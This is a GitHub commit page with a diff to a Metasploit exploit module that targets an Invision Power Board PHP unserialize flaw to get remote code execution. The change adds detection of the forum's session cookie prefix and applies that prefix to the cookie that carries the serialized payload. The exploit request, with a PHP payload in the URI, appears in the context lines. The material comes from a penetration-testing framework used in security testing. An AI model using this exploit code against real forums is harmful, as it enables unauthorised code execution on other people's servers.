Skip to content

Commit fcad2c3

Browse files
committed
Merge branch 'invision_pboard_cookie_prefix' of git://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-invision_pboard_cookie_prefix
2 parents 4d63301 + 88ea347 commit fcad2c3

File tree

1 file changed

+15
-1
lines changed

1 file changed

+15
-1
lines changed

modules/exploits/unix/webapp/invision_pboard_unserialize_exec.rb

Lines changed: 15 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -109,6 +109,20 @@ def exploit
109109
@upload_php = rand_text_alpha(rand(4) + 4) + ".php"
110110
@peer = "#{rhost}:#{rport}"
111111

112+
print_status("#{@peer} - Checking for cookie prefix")
113+
res = send_request_cgi(
114+
{
115+
'uri' => "#{base}index.php",
116+
'method' => 'GET'
117+
})
118+
119+
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /(.+)session/
120+
print_status("#{@peer} - Cookie prefix #{$1} found")
121+
cookie_prefix = $1
122+
else
123+
cookie_prefix = ""
124+
end
125+
112126
# get_write_exec_payload uses a function, which limits our ability to support
113127
# Linux payloads, because that requires a space:
114128
# function my_cmd
@@ -128,7 +142,7 @@ def exploit
128142
{
129143
'uri' => "#{base}index.php?#{php_payload}",
130144
'method' => 'GET',
131-
'cookie' => "member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
145+
'cookie' => "#{cookie_prefix}member_id=#{Rex::Text.uri_encode(db_driver_mysql)}"
132146
})
133147

134148
if not res or res.code != 200

0 commit comments

Comments
 (0)